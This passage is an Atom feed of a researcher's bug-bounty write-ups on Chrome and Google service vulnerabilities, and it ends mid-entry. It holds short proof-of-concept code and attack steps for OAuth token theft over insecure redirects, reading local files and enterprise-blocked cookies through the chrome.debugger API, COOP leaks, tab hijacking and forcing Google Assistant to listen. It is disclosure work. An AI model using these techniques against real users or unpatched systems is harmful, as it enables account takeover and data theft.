<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://ndevtk.github.io/writeups/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ndevtk.github.io/writeups/" rel="alternate" type="text/html" /><updated>2026-03-02T14:40:26+00:00</updated><id>https://ndevtk.github.io/writeups/feed.xml</id><title type="html">Writeups</title><subtitle>Vulnerabilities affecting the web platform</subtitle><entry><title type="html">OAuth redirects don’t check for https:// protocol (Awarded $1069.60)</title><link href="https://ndevtk.github.io/writeups/2025/11/06/oauth/" rel="alternate" type="text/html" title="OAuth redirects don’t check for https:// protocol (Awarded $1069.60)" /><published>2025-11-06T00:00:00+00:00</published><updated>2025-11-06T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/11/06/oauth</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/11/06/oauth/"><![CDATA[<p>OAuth redirects <a href="https://notebooks.cloud.google.com/static/oauth.html">https://notebooks.cloud.google.com/static/oauth.html</a> and <a href="https://developerconnect.google.com/redirect">https://developerconnect.google.com/redirect</a> appear to perform no protocol checks, allowing for network attackers to leak tokens.
It’s a less interesting <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.1">https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.1</a> variant of <a href="https://bughunters.google.com/reports/vrp/wG2bN8vZr">https://bughunters.google.com/reports/vrp/wG2bN8vZr</a> for network attackers.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">ALLOWED_ORIGINS</span> <span class="o">=</span> <span class="p">[</span>
  <span class="dl">'</span><span class="s1">codeassist.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">pantheon.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">pantheon-staging.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">pantheon-staging-sso.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">pantheon-hourly.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">pantheon-hourly-sso.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">console.cloud.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">code-assist-free-tier.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">code-assist-free-tier-autopush.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">code-assist-free-tier-staging.corp.google.com</span><span class="dl">'</span><span class="p">,</span>
  <span class="dl">'</span><span class="s1">localhost.corp.google.com:9998</span><span class="dl">'</span>
<span class="p">];</span>
<span class="kd">let</span> <span class="nx">origin</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span>
  <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">).</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">state</span><span class="dl">'</span><span class="p">)</span>
<span class="p">).</span><span class="nx">origin</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">host</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">origin</span><span class="p">).</span><span class="nx">hostname</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">allowedOrigin</span> <span class="k">of</span> <span class="nx">ALLOWED_ORIGINS</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">host</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="nx">allowedOrigin</span><span class="p">))</span> <span class="p">{</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">toString</span><span class="p">(),</span> <span class="nx">origin</span><span class="p">);</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="requirements">Requirements:</h1>

<ul>
  <li>User trusts the Google Cloud Developer Connect Account Connector OAuth app on GitHub, which has <code class="language-plaintext highlighter-rouge">Full control of private repositories</code>.
    <blockquote>
      <p>At the time of the report, this could be done on <a href="https://codeassist.google.com/agents-tools">https://codeassist.google.com/agents-tools</a> by following the normal HTTPS OAuth flow and redirection, but that feature has since been removed.</p>
    </blockquote>
  </li>
  <li>The user is on a public network.</li>
</ul>

<h1 id="user-steps">User steps:</h1>

<ul>
  <li>User gets automatically redirected to an attacker captive portal (Normal secure non-Google-looking website).</li>
  <li>User taps ‘accept cookies’ for popup (User activation).</li>
</ul>

<h1 id="attacker-script-steps">Attacker script steps:</h1>

<ul>
  <li>The attacker page then does two things: it opens a popup and redirects the now-hidden tab to <code class="language-plaintext highlighter-rouge">http://unsafe.codeassist.google.com/</code> that’s over an insecure connection and controlled by the attacker.</li>
  <li>The attacker-controlled <code class="language-plaintext highlighter-rouge">http://unsafe.codeassist.google.com/</code> uses its postMessage listener to steal the secret OAuth URL via <code class="language-plaintext highlighter-rouge">window.onmessage</code>
    <blockquote>
      <p>GitHub doesn’t support the implicit grant type, but it’s likely abused by using the <a href="https://codeassist.google.com/api/finishoauth">https://codeassist.google.com/api/finishoauth</a> method, the same as the previous VRP report.</p>
    </blockquote>
  </li>
  <li>The popup gets redirected to the attacker-modified OAuth URL with its custom <code class="language-plaintext highlighter-rouge">state</code> value <a href="https://github.com/login/oauth/authorize?redirect_uri=https%3A%2F%2Fdeveloperconnect.google.com%2Fredirect&amp;client_id=Ov23liuPPgjf25D65gXP&amp;scope=repo&amp;state=%7B%22origin%22%3A%22http%3A%2F%2Funsafe.codeassist.google.com%22%7D">https://github.com/login/oauth/authorize?redirect_uri=https%3A%2F%2Fdeveloperconnect.google.com%2Fredirect&amp;client_id=Ov23liuPPgjf25D65gXP&amp;scope=repo&amp;state=%7B%22origin%22%3A%22http%3A%2F%2Funsafe.codeassist.google.com%22%7D</a>
    <blockquote>
      <p>Since the attacker is not asking for any new permissions despite the URL parameters changing, this OAuth flow does not prompt the user for consent.</p>
    </blockquote>
  </li>
</ul>

<h1 id="reasoning-for-initial-wontfix">Reasoning for initial WontFix</h1>

<p>“We’ve reviewed your report, and it seems the attack you’ve outlined relies on a few unlikely conditions. For this to work, a user would need to be on a malicious network and then actively click through redirects to an attacker-controlled site. We’re also not clear on how a user would initially be directed to this malicious website.</p>

<p>Given these factors, we won’t be tracking this as a security vulnerability.”</p>

<p>The Chromium team is planning on enabling HTTPS by default for Chrome 154 in October 2026 <a href="https://security.googleblog.com/2025/10/https-by-default.html">https://security.googleblog.com/2025/10/https-by-default.html</a></p>

<h1 id="timeline">Timeline</h1>

<ul>
  <li>Reported Sep 14, 2025 01:01 AM</li>
  <li>Didn’t provide enough details Sep 15, 2025 07:57 PM</li>
  <li>Assigned Sep 16, 2025 02:54PM</li>
  <li>Highly unrealistic preconditions. If an attacker had that level of access, they could likely achieve more significant compromises. Sep 20, 2025 12:12 AM</li>
  <li>Assigned Sep 22, 2025 01:45PM</li>
  <li>Reviewed by Trust &amp; Safety Team Sep 24, 2025 02:18PM</li>
  <li>Changed from P3 to P2 Nov 4, 2025 09:18 PM (Thanks)</li>
  <li>Won’t Fix (Infeasible) Nov 5, 2025 09:59 PM</li>
  <li>Heads up regarding the disclosure of report Nov 6, 2025 07:53AM</li>
  <li>Assigned to Google Cloud VRP Team Nov 12, 2025 04:13PM</li>
  <li>Filed a bug with the responsible product team Nov 13, 2025 09:06AM</li>
  <li>Google Vulnerability Reward Program panel decided to issue a reward of $400.00 Nov 18, 2025 02:55PM</li>
  <li>Google Vulnerability Reward Program panel decided to issue a reward of $669.60 Nov 25, 2025 02:55PM</li>
</ul>]]></content><author><name></name></author><summary type="html"><![CDATA[OAuth redirects https://notebooks.cloud.google.com/static/oauth.html and https://developerconnect.google.com/redirect appear to perform no protocol checks, allowing for network attackers to leak tokens. It’s a less interesting https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.1 variant of https://bughunters.google.com/reports/vrp/wG2bN8vZr for network attackers.]]></summary></entry><entry><title type="html">COOP leaks</title><link href="https://ndevtk.github.io/writeups/2025/10/31/coop/" rel="alternate" type="text/html" title="COOP leaks" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/coop</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/coop/"><![CDATA[<h1 id="leaking-windowlength-without-opener-reference-awarded-2000">Leaking window.length without opener reference (Awarded $2000)</h1>

<p>It allowed leaking <code class="language-plaintext highlighter-rouge">window.length</code> from a COOP protected page via <code class="language-plaintext highlighter-rouge">parent.opener.length</code></p>

<ol>
  <li><a href="https://example.com/">https://example.com/</a> run <code class="language-plaintext highlighter-rouge">open(); // cross-origin page</code></li>
  <li><code class="language-plaintext highlighter-rouge">opener.location = 'https://first-party-test.glitch.me/?coop=same-origin'; // Page with COOP</code></li>
  <li><code class="language-plaintext highlighter-rouge">let f = document.createElement('iframe'); f.src = "https://example.org"; document.body.appendChild(f); // Must be cross origin</code></li>
  <li>In the context of the iframe, do <code class="language-plaintext highlighter-rouge">parent.opener.length</code>. To get a new length, just create a new cross-origin iframe.</li>
</ol>

<p>This issue was fixed in <a href="https://issues.chromium.org/40059056">https://issues.chromium.org/40059056</a></p>

<h1 id="coop-pages-got-blocked-when-coming-from-a-null-origin-but-didnt-get-severed-awarded-3000">COOP pages got blocked when coming from a “null” origin but didn’t get severed (Awarded $3000)</h1>

<p>The iframe had access to “w”, which could be used to do navigation-based timing attacks.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span>
  <span class="na">srcdoc=</span><span class="s">"&lt;script&gt;w = open('https://myactivity.google.com/myactivity')&lt;/script&gt;"</span>
  <span class="na">sandbox=</span><span class="s">"allow-scripts allow-popups"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

<p>This issue was fixed in <a href="https://issuetracker.google.com/40057526">https://issuetracker.google.com/40057526</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Leaking window.length without opener reference (Awarded $2000)]]></summary></entry><entry><title type="html">Abusing the chrome.debugger extension API</title><link href="https://ndevtk.github.io/writeups/2025/10/31/debugger/" rel="alternate" type="text/html" title="Abusing the chrome.debugger extension API" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/debugger</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/debugger/"><![CDATA[<p>The Chrome extension <code class="language-plaintext highlighter-rouge">chrome.debugger</code> <a href="https://developer.chrome.com/docs/extensions/reference/api/debugger">https://developer.chrome.com/docs/extensions/reference/api/debugger</a> API implies <code class="language-plaintext highlighter-rouge">&lt;all_urls&gt;</code> permission but should not grant access to the user’s file system or bypass enterprise policies.
However, it’s a very powerful protocol by design with lots of features <a href="https://chromedevtools.github.io/devtools-protocol/">https://chromedevtools.github.io/devtools-protocol/</a></p>

<h1 id="pagenavigate-could-navigate-iframes-to-file-when-not-enabled-awarded-3000">‘Page.navigate’ could navigate iframes to file:// when not enabled (Awarded $3000)</h1>

<p>Extensions with both <code class="language-plaintext highlighter-rouge">pageCapture</code> and <code class="language-plaintext highlighter-rouge">debugger</code> permissions could read local file contents.
This is because it’s possible to use <code class="language-plaintext highlighter-rouge">Page.navigate</code> to navigate an iframe to <code class="language-plaintext highlighter-rouge">file://</code> when “Allow access to file URLs” is disabled, exposing the file’s contents to the <code class="language-plaintext highlighter-rouge">pageCapture</code> API.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">chrome</span><span class="p">.</span><span class="k">debugger</span><span class="p">.</span><span class="nx">attach</span><span class="p">({</span><span class="na">tabId</span><span class="p">:</span> <span class="o">&lt;</span><span class="nx">TARGET</span><span class="o">&gt;</span><span class="p">},</span> <span class="dl">'</span><span class="s1">1.3</span><span class="dl">'</span><span class="p">,</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">);</span>
<span class="nx">chrome</span><span class="p">.</span><span class="k">debugger</span><span class="p">.</span><span class="nx">sendCommand</span><span class="p">({</span><span class="na">tabId</span><span class="p">:</span> <span class="o">&lt;</span><span class="nx">TARGET</span><span class="o">&gt;</span><span class="p">},</span> <span class="dl">'</span><span class="s1">Page.navigate</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">frameId</span><span class="p">:</span> <span class="o">&lt;</span><span class="nx">FRAME</span> <span class="nx">ID</span> <span class="nx">AS</span> <span class="nx">SEEN</span> <span class="nx">FROM</span> <span class="nx">EVENTS</span><span class="o">&gt;</span><span class="p">,</span> <span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">file:///d:/demo.txt</span><span class="dl">'</span><span class="p">},</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">);</span>
<span class="nx">chrome</span><span class="p">.</span><span class="nx">pageCapture</span><span class="p">.</span><span class="nx">saveAsMHTML</span><span class="p">({</span><span class="na">tabId</span><span class="p">:</span> <span class="o">&lt;</span><span class="nx">TARGET</span><span class="o">&gt;</span><span class="p">},</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">);</span>
</code></pre></div></div>

<p>This issue was fixed in <a href="https://issues.chromium.org/40060173">https://issues.chromium.org/40060173</a></p>

<h1 id="features-bypass-the-runtime_blocked_hosts-cookie-protection-awarded-3000">Features bypass the <code class="language-plaintext highlighter-rouge">runtime_blocked_hosts</code> cookie protection (Awarded $3000)</h1>

<p>Extensions were able to get cookies from a <code class="language-plaintext highlighter-rouge">runtime_blocked_host</code> using the <code class="language-plaintext highlighter-rouge">chrome.debugger</code> API via <code class="language-plaintext highlighter-rouge">Storage.getCookies</code> <a href="https://chromedevtools.github.io/devtools-protocol/tot/Storage/#method-getCookies">https://chromedevtools.github.io/devtools-protocol/tot/Storage/#method-getCookies</a> and other protocol features.</p>

<h2 id="setup">Setup</h2>

<ul>
  <li>Add host to <code class="language-plaintext highlighter-rouge">runtime_blocked_hosts</code> <a href="https://chromeenterprise.google/policies/?policy=ExtensionSettings">https://chromeenterprise.google/policies/?policy=ExtensionSettings</a></li>
  <li>For Windows 10 using registry at <code class="language-plaintext highlighter-rouge">HKEY_CURRENT_USER\SOFTWARE\Policies\Google\Chrome</code> create string with name <code class="language-plaintext highlighter-rouge">ExtensionSettings</code> and content of <code class="language-plaintext highlighter-rouge">{ "*": { "runtime_blocked_hosts": [ "*://example.org" ] } }</code></li>
  <li>The policy should be listed at <code class="language-plaintext highlighter-rouge">chrome://policy/</code>; you may need to reload.</li>
  <li>Create cookie at <a href="https://example.org">https://example.org</a> like <code class="language-plaintext highlighter-rouge">document.cookie = 'foo=foo';</code></li>
</ul>

<h2 id="exploit">Exploit</h2>

<p>Using a browser extension with the debugger permission.</p>

<ul>
  <li>Get <code class="language-plaintext highlighter-rouge">tabId</code> like with <code class="language-plaintext highlighter-rouge">chrome.tabs.query({active: true});</code></li>
  <li>Attach to a tab with <code class="language-plaintext highlighter-rouge">await chrome.debugger.attach(target, '1.3');</code></li>
  <li>Run <code class="language-plaintext highlighter-rouge">Storage.getCookies</code> with <code class="language-plaintext highlighter-rouge">await chrome.debugger.sendCommand({tabId: &lt;tabId&gt;}, 'Storage.getCookies');</code>. It should return the cookie from the runtime blocked host.</li>
</ul>]]></content><author><name></name></author><summary type="html"><![CDATA[The Chrome extension chrome.debugger https://developer.chrome.com/docs/extensions/reference/api/debugger API implies &lt;all_urls&gt; permission but should not grant access to the user’s file system or bypass enterprise policies. However, it’s a very powerful protocol by design with lots of features https://chromedevtools.github.io/devtools-protocol/]]></summary></entry><entry><title type="html">SameSite strict cookies bypass/cross-origin download (Awarded $1000)</title><link href="https://ndevtk.github.io/writeups/2025/10/31/dragdownload/" rel="alternate" type="text/html" title="SameSite strict cookies bypass/cross-origin download (Awarded $1000)" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/dragdownload</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/dragdownload/"><![CDATA[<p>Dragging the <code class="language-plaintext highlighter-rouge">foo</code> text onto your desktop would download a file containing <code class="language-plaintext highlighter-rouge">sec-fetch-site: 'none'</code>.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">link</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">link</span><span class="p">.</span><span class="nx">innerText</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">foo</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">link</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">#</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">link</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">dragstart</span><span class="dl">'</span><span class="p">,</span> <span class="nx">onDragStart</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">link</span><span class="p">);</span>

<span class="kd">function</span> <span class="nx">onDragStart</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">e</span><span class="p">.</span><span class="nx">dataTransfer</span><span class="p">.</span><span class="nx">setData</span><span class="p">(</span>
    <span class="dl">'</span><span class="s1">DownloadURL</span><span class="dl">'</span><span class="p">,</span>
    <span class="dl">'</span><span class="s1">application/octet-stream:demo:https://terjanq.me/xss.php?headers</span><span class="dl">'</span>
  <span class="p">);</span>
  <span class="nx">e</span><span class="p">.</span><span class="nx">dataTransfer</span><span class="p">.</span><span class="nx">effectAllowed</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">all</span><span class="dl">'</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This SameSite issue was fixed in <a href="https://issues.chromium.org/40060358">https://issues.chromium.org/40060358</a>, but cross-origin download still works <a href="https://www.youtube.com/watch?v=mqQjzx3HSUc">https://www.youtube.com/watch?v=mqQjzx3HSUc</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Dragging the foo text onto your desktop would download a file containing sec-fetch-site: 'none'.]]></summary></entry><entry><title type="html">Tab hijacking (Fixed)</title><link href="https://ndevtk.github.io/writeups/2025/10/31/hijack/" rel="alternate" type="text/html" title="Tab hijacking (Fixed)" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/hijack</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/hijack/"><![CDATA[<p>When sending a <code class="language-plaintext highlighter-rouge">print</code> postMessage twice to the PDF viewer API, it would force the user to switch to that tab.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">f</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">f</span><span class="p">.</span><span class="nx">hidden</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nx">f</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span>
  <span class="dl">'</span><span class="s1">https://www.w3.org/WAI/ER/tests/xhtml/testfiles/resources/pdf/dummy.pdf</span><span class="dl">'</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">f</span><span class="p">);</span>
<span class="nx">setTimeout</span><span class="p">((</span><span class="nx">_</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">f</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">postMessage</span><span class="p">({</span><span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">print</span><span class="dl">'</span><span class="p">},</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">);</span>
  <span class="nx">f</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">postMessage</span><span class="p">({</span><span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">print</span><span class="dl">'</span><span class="p">},</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">);</span>
  <span class="nx">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="nx">location</span><span class="p">.</span><span class="nx">reload</span><span class="p">(),</span> <span class="mi">100</span><span class="p">);</span>
<span class="p">},</span> <span class="mi">100</span><span class="p">);</span>
</code></pre></div></div>

<p>This issue was fixed in <a href="https://issues.chromium.org/40828189">https://issues.chromium.org/40828189</a></p>

<p>Video PoC: <a href="https://www.youtube.com/watch?v=n28qodJ4hhk">https://www.youtube.com/watch?v=n28qodJ4hhk</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[When sending a print postMessage twice to the PDF viewer API, it would force the user to switch to that tab.]]></summary></entry><entry><title type="html">Bypass PaymentRequest.show() calls after the first (Awarded $1000)</title><link href="https://ndevtk.github.io/writeups/2025/10/31/paymentrequest/" rel="alternate" type="text/html" title="Bypass PaymentRequest.show() calls after the first (Awarded $1000)" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/paymentrequest</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/paymentrequest/"><![CDATA[<p>By abusing the Chrome page auto reloader, e.g., using max redirects <code class="language-plaintext highlighter-rouge">https://xsinator.com/testcases/files/maxredirect.php?n=19&amp;url=https://mixolydian-wild-legal.glitch.me/?url=&lt;ATTACKER PAGE&gt;</code>, you could bypass the following rule:</p>

<ul>
  <li>PaymentRequest.show() calls after the first (per page load) require either transient user activation or delegated payment request capability.</li>
</ul>

<p>This issue was fixed in <a href="https://issues.chromium.org/40072274">https://issues.chromium.org/40072274</a></p>

<p>Video PoC: <a href="https://www.youtube.com/watch?v=2X5RNABRK40">https://www.youtube.com/watch?v=2X5RNABRK40</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[By abusing the Chrome page auto reloader, e.g., using max redirects https://xsinator.com/testcases/files/maxredirect.php?n=19&amp;url=https://mixolydian-wild-legal.glitch.me/?url=&lt;ATTACKER PAGE&gt;, you could bypass the following rule:]]></summary></entry><entry><title type="html">File picker UI spoof (Awarded $2000)</title><link href="https://ndevtk.github.io/writeups/2025/10/31/picker-spoof/" rel="alternate" type="text/html" title="File picker UI spoof (Awarded $2000)" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/picker-spoof</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/picker-spoof/"><![CDATA[<p>The file picker is shown on the wrong origin while keeping the FileSystemHandle.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">onmouseup</span> <span class="o">=</span> <span class="p">(</span><span class="nx">_</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">let</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">showOpenFilePicker</span><span class="p">();</span>
  <span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://www.google.com</span><span class="dl">'</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div></div>

<p>This issue was fixed in <a href="https://issues.chromium.org/40059071">https://issues.chromium.org/40059071</a> by making FileSystemAccess APIs consume user activation.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[The file picker is shown on the wrong origin while keeping the FileSystemHandle.]]></summary></entry><entry><title type="html">Service workers allowing redirects to data URLs (Awarded $4000)</title><link href="https://ndevtk.github.io/writeups/2025/10/31/sw-redirect/" rel="alternate" type="text/html" title="Service workers allowing redirects to data URLs (Awarded $4000)" /><published>2025-10-31T00:00:00+00:00</published><updated>2025-10-31T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/10/31/sw-redirect</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/10/31/sw-redirect/"><![CDATA[<p>Top-level navigations to <code class="language-plaintext highlighter-rouge">data:</code> are not normally allowed. <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-59/">https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-59/</a><br />
This navigation inherits from the opener, as shown by the origin in the protocol confirmation dialog, and also leaks the victim’s CSP.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">self</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">fetch</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">event</span><span class="p">.</span><span class="nx">respondWith</span><span class="p">(</span>
    <span class="nx">Response</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">data:text/html,&lt;script&gt;prompt("Test")&lt;/script&gt;</span><span class="dl">'</span><span class="p">)</span>
  <span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>This issue was fixed in <a href="https://issues.chromium.org/379337758">https://issues.chromium.org/379337758</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Top-level navigations to data: are not normally allowed. https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-59/ This navigation inherits from the opener, as shown by the origin in the protocol confirmation dialog, and also leaks the victim’s CSP.]]></summary></entry><entry><title type="html">Controlling the Google Assistant via Web Speech API (Awarded $3133.7)</title><link href="https://ndevtk.github.io/writeups/2025/08/30/assistant/" rel="alternate" type="text/html" title="Controlling the Google Assistant via Web Speech API (Awarded $3133.7)" /><published>2025-08-30T00:00:00+00:00</published><updated>2025-08-30T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/08/30/assistant</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/08/30/assistant/"><![CDATA[<p>When the Google Assistant is opened with a deeplink, it should require manually pressing on the microphone icon to start listening per <a href="https://feed.bugs.xdavidhu.me/bugs/0011">https://feed.bugs.xdavidhu.me/bugs/0011</a> (unless “OK Google” is enabled). However, if anything opens the <code class="language-plaintext highlighter-rouge">com.google.android.apps.googleassistant</code> app like with the <code class="language-plaintext highlighter-rouge">market://launch?id=com.google.android.apps.googleassistant</code> <a href="https://ndevtk.github.io/writeups/2024/08/01/awas/">deeplink/BROWSABLE intent</a>, it will automatically activate the microphone, bypassing this protection and allowing the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> to have a chat.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;h1&gt;</span>Click anywhere and wait.<span class="nt">&lt;/h1&gt;</span>

<span class="nt">&lt;script&gt;</span>
  <span class="nx">onclick</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">utterance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">SpeechSynthesisUtterance</span><span class="p">(</span><span class="dl">'</span><span class="s1">Turn on airplane mode</span><span class="dl">'</span><span class="p">);</span>

    <span class="nx">setInterval</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">speechSynthesis</span><span class="p">.</span><span class="nx">speaking</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
      <span class="nx">speechSynthesis</span><span class="p">.</span><span class="nx">speak</span><span class="p">(</span><span class="nx">utterance</span><span class="p">);</span>
    <span class="p">},</span> <span class="mi">2000</span><span class="p">);</span>

    <span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">market://launch?id=com.google.android.apps.googleassistant</span><span class="dl">'</span><span class="p">);</span>
  <span class="p">};</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>The impact was similar to the last report about using a deeplink to launch Google Assistant.
